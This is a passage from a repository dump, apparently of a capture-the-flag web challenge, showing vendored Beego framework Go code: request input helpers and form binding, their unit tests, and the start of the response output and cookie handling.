strings.Join(parts[:len(parts)-2], \".\")\n\t}\n\treturn \"\"\n}\n\n// Port returns request client port.\n// when error or empty, return 80.\nfunc (input *BeegoInput) Port() int {\n\tif _, portPart, err := net.SplitHostPort(input.Context.Request.Host); err == nil {\n\t\tport, _ := strconv.Atoi(portPart)\n\t\treturn port\n\t}\n\treturn 80\n}\n\n// UserAgent returns request client user agent string.\nfunc (input *BeegoInput) UserAgent() string {\n\treturn input.Header(\"User-Agent\")\n}\n\n// ParamsLen return the length of the params\nfunc (input *BeegoInput) ParamsLen() int {\n\treturn len(input.pnames)\n}\n\n// Param returns router param by a given key.\nfunc (input *BeegoInput) Param(key string) string {\n\tfor i, v := range input.pnames {\n\t\tif v == key && i <= len(input.pvalues) {\n\t\t\treturn input.pvalues[i]\n\t\t}\n\t}\n\treturn \"\"\n}\n\n// Params returns the map[key]value.\nfunc (input *BeegoInput) Params() map[string]string {\n\tm := make(map[string]string)\n\tfor i, v := range input.pnames {\n\t\tif i <= len(input.pvalues) {\n\t\t\tm[v] = input.pvalues[i]\n\t\t}\n\t}\n\treturn m\n}\n\n// SetParam will set the param with key and value\nfunc (input *BeegoInput) SetParam(key, val string) {\n\t// check if already exists\n\tfor i, v := range input.pnames {\n\t\tif v == key && i <= len(input.pvalues) {\n\t\t\tinput.pvalues[i] = val\n\t\t\treturn\n\t\t}\n\t}\n\tinput.pvalues = append(input.pvalues, val)\n\tinput.pnames = append(input.pnames, key)\n}\n\n// ResetParams clears any of the input's Params\n// This function is used to clear parameters so they may be reset between filter\n// passes.\nfunc (input *BeegoInput) ResetParams() {\n\tinput.pnames = input.pnames[:0]\n\tinput.pvalues = input.pvalues[:0]\n}\n\n// Query returns input data item string by a given string.\nfunc (input *BeegoInput) Query(key string) string {\n\tif val := input.Param(key); val != \"\" {\n\t\treturn val\n\t}\n\tif input.Context.Request.Form == nil {\n\t\tinput.Context.Request.ParseForm()\n\t}\n\treturn input.Context.Request.Form.Get(key)\n}\n\n// Header returns request header item string by a given string.\n// if non-existed, return empty string.\nfunc (input *BeegoInput) Header(key string) string {\n\treturn input.Context.Request.Header.Get(key)\n}\n\n// Cookie returns request cookie item string by a given key.\n// if non-existed, return empty string.\nfunc (input *BeegoInput) Cookie(key string) string {\n\tck, err := input.Context.Request.Cookie(key)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn ck.Value\n}\n\n// Session returns current session item value by a given key.\n// if non-existed, return nil.\nfunc (input *BeegoInput) Session(key interface{}) interface{} {\n\treturn input.CruSession.Get(key)\n}\n\n// CopyBody returns the raw request body data as bytes.\nfunc (input *BeegoInput) CopyBody(MaxMemory int64) []byte {\n\tif input.Context.Request.Body == nil {\n\t\treturn []byte{}\n\t}\n\n\tvar requestbody []byte\n\tsafe := &io.LimitedReader{R: input.Context.Request.Body, N: MaxMemory}\n\tif input.Header(\"Content-Encoding\") == \"gzip\" {\n\t\treader, err := gzip.NewReader(safe)\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t\trequestbody, _ = ioutil.ReadAll(reader)\n\t} else {\n\t\trequestbody, _ = ioutil.ReadAll(safe)\n\t}\n\n\tinput.Context.Request.Body.Close()\n\tbf := bytes.NewBuffer(requestbody)\n\tinput.Context.Request.Body = http.MaxBytesReader(input.Context.ResponseWriter, ioutil.NopCloser(bf), MaxMemory)\n\tinput.RequestBody = requestbody\n\treturn requestbody\n}\n\n// Data return the implicit data in the input\nfunc (input *BeegoInput) Data() map[interface{}]interface{} {\n\tif input.data == nil {\n\t\tinput.data = make(map[interface{}]interface{})\n\t}\n\treturn input.data\n}\n\n// GetData returns the stored data in this context.\nfunc (input *BeegoInput) GetData(key interface{}) interface{} {\n\tif v, ok := input.data[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\n// SetData stores data with given key in this context.\n// This data are only available in this context.\nfunc (input *BeegoInput) SetData(key, val interface{}) {\n\tif input.data == nil {\n\t\tinput.data = make(map[interface{}]interface{})\n\t}\n\tinput.data[key] = val\n}\n\n// ParseFormOrMulitForm parseForm or parseMultiForm based on Content-type\nfunc (input *BeegoInput) ParseFormOrMulitForm(maxMemory int64) error {\n\t// Parse the body depending on the content type.\n\tif strings.Contains(input.Header(\"Content-Type\"), \"multipart/form-data\") {\n\t\tif err := input.Context.Request.ParseMultipartForm(maxMemory); err != nil {\n\t\t\treturn errors.New(\"Error parsing request body:\" + err.Error())\n\t\t}\n\t} else if err := input.Context.Request.ParseForm(); err != nil {\n\t\treturn errors.New(\"Error parsing request body:\" + err.Error())\n\t}\n\treturn nil\n}\n\n// Bind data from request.Form[key] to dest\n// like /?id=123&isok=true&ft=1.2&ol[0]=1&ol[1]=2&ul[]=str&ul[]=array&user.Name=astaxie\n// var id int  beegoInput.Bind(&id, \"id\")  id ==123\n// var isok bool  beegoInput.Bind(&isok, \"isok\")  isok ==true\n// var ft float64  beegoInput.Bind(&ft, \"ft\")  ft ==1.2\n// ol := make([]int, 0, 2)  beegoInput.Bind(&ol, \"ol\")  ol ==[1 2]\n// ul := make([]string, 0, 2)  beegoInput.Bind(&ul, \"ul\")  ul ==[str array]\n// user struct{Name}  beegoInput.Bind(&user, \"user\")  user == {Name:\"astaxie\"}\nfunc (input *BeegoInput) Bind(dest interface{}, key string) error {\n\tvalue := reflect.ValueOf(dest)\n\tif value.Kind() != reflect.Ptr {\n\t\treturn errors.New(\"beego: non-pointer passed to Bind: \" + key)\n\t}\n\tvalue = value.Elem()\n\tif !value.CanSet() {\n\t\treturn errors.New(\"beego: non-settable variable passed to Bind: \" + key)\n\t}\n\ttyp := value.Type()\n\t// Get real type if dest define with interface{}.\n\t// e.g  var dest interface{} dest=1.0\n\tif value.Kind() == reflect.Interface {\n\t\ttyp = value.Elem().Type()\n\t}\n\trv := input.bind(key, typ)\n\tif !rv.IsValid() {\n\t\treturn errors.New(\"beego: reflect value is empty\")\n\t}\n\tvalue.Set(rv)\n\treturn nil\n}\n\nfunc (input *BeegoInput) bind(key string, typ reflect.Type) reflect.Value {\n\tif input.Context.Request.Form == nil {\n\t\tinput.Context.Request.ParseForm()\n\t}\n\trv := reflect.Zero(typ)\n\tswitch typ.Kind() {\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\tval := input.Query(key)\n\t\tif len(val) == 0 {\n\t\t\treturn rv\n\t\t}\n\t\trv = input.bindInt(val, typ)\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\tval := input.Query(key)\n\t\tif len(val) == 0 {\n\t\t\treturn rv\n\t\t}\n\t\trv = input.bindUint(val, typ)\n\tcase reflect.Float32, reflect.Float64:\n\t\tval := input.Query(key)\n\t\tif len(val) == 0 {\n\t\t\treturn rv\n\t\t}\n\t\trv = input.bindFloat(val, typ)\n\tcase reflect.String:\n\t\tval := input.Query(key)\n\t\tif len(val) == 0 {\n\t\t\treturn rv\n\t\t}\n\t\trv = input.bindString(val, typ)\n\tcase reflect.Bool:\n\t\tval := input.Query(key)\n\t\tif len(val) == 0 {\n\t\t\treturn rv\n\t\t}\n\t\trv = input.bindBool(val, typ)\n\tcase reflect.Slice:\n\t\trv = input.bindSlice(&input.Context.Request.Form, key, typ)\n\tcase reflect.Struct:\n\t\trv = input.bindStruct(&input.Context.Request.Form, key, typ)\n\tcase reflect.Ptr:\n\t\trv = input.bindPoint(key, typ)\n\tcase reflect.Map:\n\t\trv = input.bindMap(&input.Context.Request.Form, key, typ)\n\t}\n\treturn rv\n}\n\nfunc (input *BeegoInput) bindValue(val string, typ reflect.Type) reflect.Value {\n\trv := reflect.Zero(typ)\n\tswitch typ.Kind() {\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\trv = input.bindInt(val, typ)\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\trv = input.bindUint(val, typ)\n\tcase reflect.Float32, reflect.Float64:\n\t\trv = input.bindFloat(val, typ)\n\tcase reflect.String:\n\t\trv = input.bindString(val, typ)\n\tcase reflect.Bool:\n\t\trv = input.bindBool(val, typ)\n\tcase reflect.Slice:\n\t\trv = input.bindSlice(&url.Values{\"\": {val}}, \"\", typ)\n\tcase reflect.Struct:\n\t\trv = input.bindStruct(&url.Values{\"\": {val}}, \"\", typ)\n\tcase reflect.Ptr:\n\t\trv = input.bindPoint(val, typ)\n\tcase reflect.Map:\n\t\trv = input.bindMap(&url.Values{\"\": {val}}, \"\", typ)\n\t}\n\treturn rv\n}\n\nfunc (input *BeegoInput) bindInt(val string, typ reflect.Type) reflect.Value {\n\tintValue, err := strconv.ParseInt(val, 10, 64)\n\tif err != nil {\n\t\treturn reflect.Zero(typ)\n\t}\n\tpValue := reflect.New(typ)\n\tpValue.Elem().SetInt(intValue)\n\treturn pValue.Elem()\n}\n\nfunc (input *BeegoInput) bindUint(val string, typ reflect.Type) reflect.Value {\n\tuintValue, err := strconv.ParseUint(val, 10, 64)\n\tif err != nil {\n\t\treturn reflect.Zero(typ)\n\t}\n\tpValue := reflect.New(typ)\n\tpValue.Elem().SetUint(uintValue)\n\treturn pValue.Elem()\n}\n\nfunc (input *BeegoInput) bindFloat(val string, typ reflect.Type) reflect.Value {\n\tfloatValue, err := strconv.ParseFloat(val, 64)\n\tif err != nil {\n\t\treturn reflect.Zero(typ)\n\t}\n\tpValue := reflect.New(typ)\n\tpValue.Elem().SetFloat(floatValue)\n\treturn pValue.Elem()\n}\n\nfunc (input *BeegoInput) bindString(val string, typ reflect.Type) reflect.Value {\n\treturn reflect.ValueOf(val)\n}\n\nfunc (input *BeegoInput) bindBool(val string, typ reflect.Type) reflect.Value {\n\tval = strings.TrimSpace(strings.ToLower(val))\n\tswitch val {\n\tcase \"true\", \"on\", \"1\":\n\t\treturn reflect.ValueOf(true)\n\t}\n\treturn reflect.ValueOf(false)\n}\n\ntype sliceValue struct {\n\tindex int           // Index extracted from brackets.  If -1, no index was provided.\n\tvalue reflect.Value // the bound value for this slice element.\n}\n\nfunc (input *BeegoInput) bindSlice(params *url.Values, key string, typ reflect.Type) reflect.Value {\n\tmaxIndex := -1\n\tnumNoIndex := 0\n\tsliceValues := []sliceValue{}\n\tfor reqKey, vals := range *params {\n\t\tif !strings.HasPrefix(reqKey, key+\"[\") {\n\t\t\tcontinue\n\t\t}\n\t\t// Extract the index, and the index where a sub-key starts. (e.g. field[0].subkey)\n\t\tindex := -1\n\t\tleftBracket, rightBracket := len(key), strings.Index(reqKey[len(key):], \"]\")+len(key)\n\t\tif rightBracket > leftBracket+1 {\n\t\t\tindex, _ = strconv.Atoi(reqKey[leftBracket+1 : rightBracket])\n\t\t}\n\t\tsubKeyIndex := rightBracket + 1\n\n\t\t// Handle the indexed case.\n\t\tif index > -1 {\n\t\t\tif index > maxIndex {\n\t\t\t\tmaxIndex = index\n\t\t\t}\n\t\t\tsliceValues = append(sliceValues, sliceValue{\n\t\t\t\tindex: index,\n\t\t\t\tvalue: input.bind(reqKey[:subKeyIndex], typ.Elem()),\n\t\t\t})\n\t\t\tcontinue\n\t\t}\n\n\t\t// It's an un-indexed element.  (e.g. element[])\n\t\tnumNoIndex += len(vals)\n\t\tfor _, val := range vals {\n\t\t\t// Unindexed values can only be direct-bound.\n\t\t\tsliceValues = append(sliceValues, sliceValue{\n\t\t\t\tindex: -1,\n\t\t\t\tvalue: input.bindValue(val, typ.Elem()),\n\t\t\t})\n\t\t}\n\t}\n\tresultArray := reflect.MakeSlice(typ, maxIndex+1, maxIndex+1+numNoIndex)\n\tfor _, sv := range sliceValues {\n\t\tif sv.index != -1 {\n\t\t\tresultArray.Index(sv.index).Set(sv.value)\n\t\t} else {\n\t\t\tresultArray = reflect.Append(resultArray, sv.value)\n\t\t}\n\t}\n\treturn resultArray\n}\n\nfunc (input *BeegoInput) bindStruct(params *url.Values, key string, typ reflect.Type) reflect.Value {\n\tresult := reflect.New(typ).Elem()\n\tfieldValues := make(map[string]reflect.Value)\n\tfor reqKey, val := range *params {\n\t\tvar fieldName string\n\t\tif strings.HasPrefix(reqKey, key+\".\") {\n\t\t\tfieldName = reqKey[len(key)+1:]\n\t\t} else if strings.HasPrefix(reqKey, key+\"[\") && reqKey[len(reqKey)-1] == ']' {\n\t\t\tfieldName = reqKey[len(key)+1 : len(reqKey)-1]\n\t\t} else {\n\t\t\tcontinue\n\t\t}\n\n\t\tif _, ok := fieldValues[fieldName]; !ok {\n\t\t\t// Time to bind this field.  Get it and make sure we can set it.\n\t\t\tfieldValue := result.FieldByName(fieldName)\n\t\t\tif !fieldValue.IsValid() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif !fieldValue.CanSet() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tboundVal := input.bindValue(val[0], fieldValue.Type())\n\t\t\tfieldValue.Set(boundVal)\n\t\t\tfieldValues[fieldName] = boundVal\n\t\t}\n\t}\n\n\treturn result\n}\n\nfunc (input *BeegoInput) bindPoint(key string, typ reflect.Type) reflect.Value {\n\treturn input.bind(key, typ.Elem()).Addr()\n}\n\nfunc (input *BeegoInput) bindMap(params *url.Values, key string, typ reflect.Type) reflect.Value {\n\tvar (\n\t\tresult    = reflect.MakeMap(typ)\n\t\tkeyType   = typ.Key()\n\t\tvalueType = typ.Elem()\n\t)\n\tfor paramName, values := range *params {\n\t\tif !strings.HasPrefix(paramName, key+\"[\") || paramName[len(paramName)-1] != ']' {\n\t\t\tcontinue\n\t\t}\n\n\t\tkey := paramName[len(key)+1 : len(paramName)-1]\n\t\tresult.SetMapIndex(input.bindValue(key, keyType), input.bindValue(values[0], valueType))\n\t}\n\treturn result\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/input_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage context\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestBind(t *testing.T) {\n\ttype testItem struct {\n\t\tfield string\n\t\tempty interface{}\n\t\twant  interface{}\n\t}\n\ttype Human struct {\n\t\tID   int\n\t\tNick string\n\t\tPwd  string\n\t\tMs   bool\n\t}\n\n\tcases := []struct {\n\t\trequest string\n\t\tvalueGp []testItem\n\t}{\n\t\t{\"/?p=str\", []testItem{{\"p\", interface{}(\"\"), interface{}(\"str\")}}},\n\n\t\t{\"/?p=\", []testItem{{\"p\", \"\", \"\"}}},\n\t\t{\"/?p=str\", []testItem{{\"p\", \"\", \"str\"}}},\n\n\t\t{\"/?p=123\", []testItem{{\"p\", 0, 123}}},\n\t\t{\"/?p=123\", []testItem{{\"p\", uint(0), uint(123)}}},\n\n\t\t{\"/?p=1.0\", []testItem{{\"p\", 0.0, 1.0}}},\n\t\t{\"/?p=1\", []testItem{{\"p\", false, true}}},\n\n\t\t{\"/?p=true\", []testItem{{\"p\", false, true}}},\n\t\t{\"/?p=ON\", []testItem{{\"p\", false, true}}},\n\t\t{\"/?p=on\", []testItem{{\"p\", false, true}}},\n\t\t{\"/?p=1\", []testItem{{\"p\", false, true}}},\n\t\t{\"/?p=2\", []testItem{{\"p\", false, false}}},\n\t\t{\"/?p=false\", []testItem{{\"p\", false, false}}},\n\n\t\t{\"/?p[a]=1&p[b]=2&p[c]=3\", []testItem{{\"p\", map[string]int{}, map[string]int{\"a\": 1, \"b\": 2, \"c\": 3}}}},\n\t\t{\"/?p[a]=v1&p[b]=v2&p[c]=v3\", []testItem{{\"p\", map[string]string{}, map[string]string{\"a\": \"v1\", \"b\": \"v2\", \"c\": \"v3\"}}}},\n\n\t\t{\"/?p[]=8&p[]=9&p[]=10\", []testItem{{\"p\", []int{}, []int{8, 9, 10}}}},\n\t\t{\"/?p[0]=8&p[1]=9&p[2]=10\", []testItem{{\"p\", []int{}, []int{8, 9, 10}}}},\n\t\t{\"/?p[0]=8&p[1]=9&p[2]=10&p[5]=14\", []testItem{{\"p\", []int{}, []int{8, 9, 10, 0, 0, 14}}}},\n\t\t{\"/?p[0]=8.0&p[1]=9.0&p[2]=10.0\", []testItem{{\"p\", []float64{}, []float64{8.0, 9.0, 10.0}}}},\n\n\t\t{\"/?p[]=10&p[]=9&p[]=8\", []testItem{{\"p\", []string{}, []string{\"10\", \"9\", \"8\"}}}},\n\t\t{\"/?p[0]=8&p[1]=9&p[2]=10\", []testItem{{\"p\", []string{}, []string{\"8\", \"9\", \"10\"}}}},\n\n\t\t{\"/?p[0]=true&p[1]=false&p[2]=true&p[5]=1&p[6]=ON&p[7]=other\", []testItem{{\"p\", []bool{}, []bool{true, false, true, false, false, true, true, false}}}},\n\n\t\t{\"/?human.Nick=astaxie\", []testItem{{\"human\", Human{}, Human{Nick: \"astaxie\"}}}},\n\t\t{\"/?human.ID=888&human.Nick=astaxie&human.Ms=true&human[Pwd]=pass\", []testItem{{\"human\", Human{}, Human{ID: 888, Nick: \"astaxie\", Ms: true, Pwd: \"pass\"}}}},\n\t\t{\"/?human[0].ID=888&human[0].Nick=astaxie&human[0].Ms=true&human[0][Pwd]=pass01&human[1].ID=999&human[1].Nick=ysqi&human[1].Ms=On&human[1].Pwd=pass02\",\n\t\t\t[]testItem{{\"human\", []Human{}, []Human{\n\t\t\t\t{ID: 888, Nick: \"astaxie\", Ms: true, Pwd: \"pass01\"},\n\t\t\t\t{ID: 999, Nick: \"ysqi\", Ms: true, Pwd: \"pass02\"},\n\t\t\t}}}},\n\n\t\t{\n\t\t\t\"/?id=123&isok=true&ft=1.2&ol[0]=1&ol[1]=2&ul[]=str&ul[]=array&human.Nick=astaxie\",\n\t\t\t[]testItem{\n\t\t\t\t{\"id\", 0, 123},\n\t\t\t\t{\"isok\", false, true},\n\t\t\t\t{\"ft\", 0.0, 1.2},\n\t\t\t\t{\"ol\", []int{}, []int{1, 2}},\n\t\t\t\t{\"ul\", []string{}, []string{\"str\", \"array\"}},\n\t\t\t\t{\"human\", Human{}, Human{Nick: \"astaxie\"}},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tr, _ := http.NewRequest(\"GET\", c.request, nil)\n\t\tbeegoInput := NewInput()\n\t\tbeegoInput.Context = NewContext()\n\t\tbeegoInput.Context.Reset(httptest.NewRecorder(), r)\n\n\t\tfor _, item := range c.valueGp {\n\t\t\tgot := item.empty\n\t\t\terr := beegoInput.Bind(&got, item.field)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(got, item.want) {\n\t\t\t\tt.Fatalf(\"Bind %q error,should be:\\n%#v \\ngot:\\n%#v\", item.field, item.want, got)\n\t\t\t}\n\t\t}\n\n\t}\n}\n\nfunc TestSubDomain(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"http://www.example.com/?id=123&isok=true&ft=1.2&ol[0]=1&ol[1]=2&ul[]=str&ul[]=array&user.Name=astaxie\", nil)\n\tbeegoInput := NewInput()\n\tbeegoInput.Context = NewContext()\n\tbeegoInput.Context.Reset(httptest.NewRecorder(), r)\n\n\tsubdomain := beegoInput.SubDomains()\n\tif subdomain != \"www\" {\n\t\tt.Fatal(\"Subdomain parse error, got\" + subdomain)\n\t}\n\n\tr, _ = http.NewRequest(\"GET\", \"http://localhost/\", nil)\n\tbeegoInput.Context.Request = r\n\tif beegoInput.SubDomains() != \"\" {\n\t\tt.Fatal(\"Subdomain parse error, should be empty, got \" + beegoInput.SubDomains())\n\t}\n\n\tr, _ = http.NewRequest(\"GET\", \"http://aa.bb.example.com/\", nil)\n\tbeegoInput.Context.Request = r\n\tif beegoInput.SubDomains() != \"aa.bb\" {\n\t\tt.Fatal(\"Subdomain parse error, got \" + beegoInput.SubDomains())\n\t}\n\n\t/* TODO Fix this\n\tr, _ = http.NewRequest(\"GET\", \"http://127.0.0.1/\", nil)\n\tbeegoInput.Context.Request = r\n\tif beegoInput.SubDomains() != \"\" {\n\t\tt.Fatal(\"Subdomain parse error, got \" + beegoInput.SubDomains())\n\t}\n\t*/\n\n\tr, _ = http.NewRequest(\"GET\", \"http://example.com/\", nil)\n\tbeegoInput.Context.Request = r\n\tif beegoInput.SubDomains() != \"\" {\n\t\tt.Fatal(\"Subdomain parse error, got \" + beegoInput.SubDomains())\n\t}\n\n\tr, _ = http.NewRequest(\"GET\", \"http://aa.bb.cc.dd.example.com/\", nil)\n\tbeegoInput.Context.Request = r\n\tif beegoInput.SubDomains() != \"aa.bb.cc.dd\" {\n\t\tt.Fatal(\"Subdomain parse error, got \" + beegoInput.SubDomains())\n\t}\n}\n\nfunc TestParams(t *testing.T) {\n\tinp := NewInput()\n\n\tinp.SetParam(\"p1\", \"val1_ver1\")\n\tinp.SetParam(\"p2\", \"val2_ver1\")\n\tinp.SetParam(\"p3\", \"val3_ver1\")\n\tif l := inp.ParamsLen(); l != 3 {\n\t\tt.Fatalf(\"Input.ParamsLen wrong value: %d, expected %d\", l, 3)\n\t}\n\n\tif val := inp.Param(\"p1\"); val != \"val1_ver1\" {\n\t\tt.Fatalf(\"Input.Param wrong value: %s, expected %s\", val, \"val1_ver1\")\n\t}\n\tif val := inp.Param(\"p3\"); val != \"val3_ver1\" {\n\t\tt.Fatalf(\"Input.Param wrong value: %s, expected %s\", val, \"val3_ver1\")\n\t}\n\tvals := inp.Params()\n\texpected := map[string]string{\n\t\t\"p1\": \"val1_ver1\",\n\t\t\"p2\": \"val2_ver1\",\n\t\t\"p3\": \"val3_ver1\",\n\t}\n\tif !reflect.DeepEqual(vals, expected) {\n\t\tt.Fatalf(\"Input.Params wrong value: %s, expected %s\", vals, expected)\n\t}\n\n\t// overwriting existing params\n\tinp.SetParam(\"p1\", \"val1_ver2\")\n\tinp.SetParam(\"p2\", \"val2_ver2\")\n\texpected = map[string]string{\n\t\t\"p1\": \"val1_ver2\",\n\t\t\"p2\": \"val2_ver2\",\n\t\t\"p3\": \"val3_ver1\",\n\t}\n\tvals = inp.Params()\n\tif !reflect.DeepEqual(vals, expected) {\n\t\tt.Fatalf(\"Input.Params wrong value: %s, expected %s\", vals, expected)\n\t}\n\n\tif l := inp.ParamsLen(); l != 3 {\n\t\tt.Fatalf(\"Input.ParamsLen wrong value: %d, expected %d\", l, 3)\n\t}\n\n\tif val := inp.Param(\"p1\"); val != \"val1_ver2\" {\n\t\tt.Fatalf(\"Input.Param wrong value: %s, expected %s\", val, \"val1_ver2\")\n\t}\n\n\tif val := inp.Param(\"p2\"); val != \"val2_ver2\" {\n\t\tt.Fatalf(\"Input.Param wrong value: %s, expected %s\", val, \"val1_ver2\")\n\t}\n\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/context/output.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage context\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"encoding/xml\"\n\t\"errors\"\n\t\"fmt\"\n\t\"html/template\"\n\t\"io\"\n\t\"mime\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\n// BeegoOutput does work for sending response header.\ntype BeegoOutput struct {\n\tContext    *Context\n\tStatus     int\n\tEnableGzip bool\n}\n\n// NewOutput returns new BeegoOutput.\n// it contains nothing now.\nfunc NewOutput() *BeegoOutput {\n\treturn &BeegoOutput{}\n}\n\n// Reset init BeegoOutput\nfunc (output *BeegoOutput) Reset(ctx *Context) {\n\toutput.Context = ctx\n\toutput.Status = 0\n}\n\n// Header sets response header item string via given key.\nfunc (output *BeegoOutput) Header(key, val string) {\n\toutput.Context.ResponseWriter.Header().Set(key, val)\n}\n\n// Body sets response body content.\n// if EnableGzip, compress content string.\n// it sends out response body directly.\nfunc (output *BeegoOutput) Body(content []byte) error {\n\tvar encoding string\n\tvar buf = &bytes.Buffer{}\n\tif output.EnableGzip {\n\t\tencoding = ParseEncoding(output.Context.Request)\n\t}\n\tif b, n, _ := WriteBody(encoding, buf, content); b {\n\t\toutput.Header(\"Content-Encoding\", n)\n\t\toutput.Header(\"Content-Length\", strconv.Itoa(buf.Len()))\n\t} else {\n\t\toutput.Header(\"Content-Length\", strconv.Itoa(len(content)))\n\t}\n\t// Write status code if it has been set manually\n\t// Set it to 0 afterwards to prevent \"multiple response.WriteHeader calls\"\n\tif output.Status != 0 {\n\t\toutput.Context.ResponseWriter.WriteHeader(output.Status)\n\t\toutput.Status = 0\n\t} else {\n\t\toutput.Context.ResponseWriter.Started = true\n\t}\n\tio.Copy(output.Context.ResponseWriter, buf)\n\treturn nil\n}\n\n// Cookie sets cookie value via given key.\n// others are ordered as cookie's max age time, path,domain, secure and httponly.\nfunc (output *BeegoOutput) Cookie(name string, value string, others ...interface{}) {\n\tvar b bytes.Buffer\n\tfmt.Fprintf(&b, \"%s=%s\", sanitizeName(name), sanitizeValue(value))\n\n\t//fix cookie not work in IE\n\tif len(others) > 0 {\n\t\tvar maxAge int64\n\n\t\tswitch v := others[0].(type) {\n\t\tcase int:\n\t\t\tmaxAge = int64(v)\n\t\tcase int32:\n\t\t\tmaxAge = int64(v)\n\t\tcase int64:\n\t\t\tmaxAge = v\n\t\t}\n\n\t\tswitch {\n\t\tcase maxAge > 0:\n\t\t\tfmt.Fprintf(&b, \"; Expires=%s; Max-Age=%d\", time.Now().Add(time.Duration(maxAge)*time.Second).UTC().Format(time.RFC1123), maxAge)\n\t\tcase maxAge < 0:\n\t\t\tfmt.Fprintf(&b, \"; Max-Age=0\")\n\t\t}\n\t}\n\n\t// the settings below\n\t// Path, Domain, Secure, HttpOnly\n\t// can use nil skip set\n\n\t// default \"/\"\n\tif len(others) > 1 {\n\t\tif v, ok := others[1].(string); ok && len(v) > 0 {\n\t\t\tfmt.Fprintf(&b, \"; Path=%s\", sanitizeValue(v))\n\t\t}\n\t} else {\n\t\tfmt.Fprintf(&b, \"; Path=%s\", \"/\")\n\t}\n\n\t// default empty\n\tif len(others) > 2 {\n\t\tif v, ok := others[2].(string); ok && len(v) > 0 {\n\t\t\tfmt.Fprintf(&b, \"; Domain=%s\", sanitizeValue(v))\n\t\t}\n\t}\n\n\t// default empty\n\tif len(others) > 3 {\n\t\tvar secure bool\n\t\tswitch v := others[3].(type) {\n\t\tcase bool:\n\t\t\tsecure = v\n\t\tdefault:\n\t\t\tif others[3] != nil {\n\t\t\t\tsecure = true\n\t\t\t}\n\t\t}\n\t\tif secure {\n\t\t\tfmt.Fprintf(&b, \"; Secure\")\n\t\t}\n\t}\n\n\t// default false. for session cookie default true\n\tif len(others) > 4 {\n\t\tif v, ok := others[4].(bool); ok && v {\n\t\t\tfmt.Fprintf(&b, \"; HttpOnly\")\n\t\t}\n\t}\n\n\toutput.Context.ResponseWriter.Header().Add(\"Set-Cookie\", b.String())\n}\n\nvar cookieNameSanitizer = strings.NewReplacer(\"\\n\", \"-\", \"\\r\", \"-\")\n\nfunc sanitizeName(n string) string {\n\treturn cookieNameSanitizer.Replace(n)\n}\n\nvar cookieValueSanitizer = strings.NewReplacer(\"\\n\", \" \", \"\\r\", \" \", \";\", \" \")\n\nfunc sanitizeValue(v string) string {\n\treturn cookieValueSanitizer.Replace(v)\n}\n\nfunc jsonRenderer(value interface{}) Renderer {\n\treturn rendererFunc(func(ctx *Context) {\n\t\tctx.Output.JSON(value, false, false)\n\t})\n}\n\nfunc errorRenderer(err error) Renderer {\n\treturn rendererFunc(func(ctx *Context) {\n\t\tctx.Output.SetStatus(500)\n\t\tctx.Output.Body([]byte(err.Error()))\n\t})\n}\n\n// JSON writes json to response body.\n// if coding is true, it converts utf-8 to \\u0000 type.\nfunc (output *BeegoOutput) JSON(data interface{}, hasIndent bool, coding bool) error {\n\toutput.Header(\"Content-Type\", \"application/json; charset=utf-8\")\n\tvar content []byte\n\tvar err error\n\tif hasIndent {\n\t\tcontent, err = json.MarshalIndent(data, \"\", \"  \")\n\t} else {\n\t\tcontent, err = json.Marshal(data)\n\t}\n\tif err != nil {\n\t\thttp.Error(output.Context.ResponseWriter, err.Error(), http.StatusInternalServerError)\n\t\treturn err\n\t}\n\tif coding {\n\t\tcontent = []byte(stringsToJSON(string(content)))\n\t}\n\treturn output.Body(content)\n}\n\n// JSONP writes jsonp to response body.\nfunc (output *BeegoOutput) JSONP(data interface{}, hasIndent bool) error {\n\toutput.Header(\"Content-Type\", \"application/javascript; charset=utf-8\")\n\tvar content []byte\n\tvar err error\n\tif hasIndent {\n\t\tcontent, err = json.MarshalIndent(data, \"\", \"  \")\n\t} else {\n\t\tcontent, err = json.Marshal(data)\n\t}\n\tif err != nil {\n\t\thttp.Error(output.Context.ResponseWriter, err.Error(), http.StatusInternalServerError)\n\t\treturn err\n\t}\n\tcallback := output.Context.Input.Query(\"callback\")\n\tif callback == \"\" {\n\t\treturn errors.New(`\"callback\" 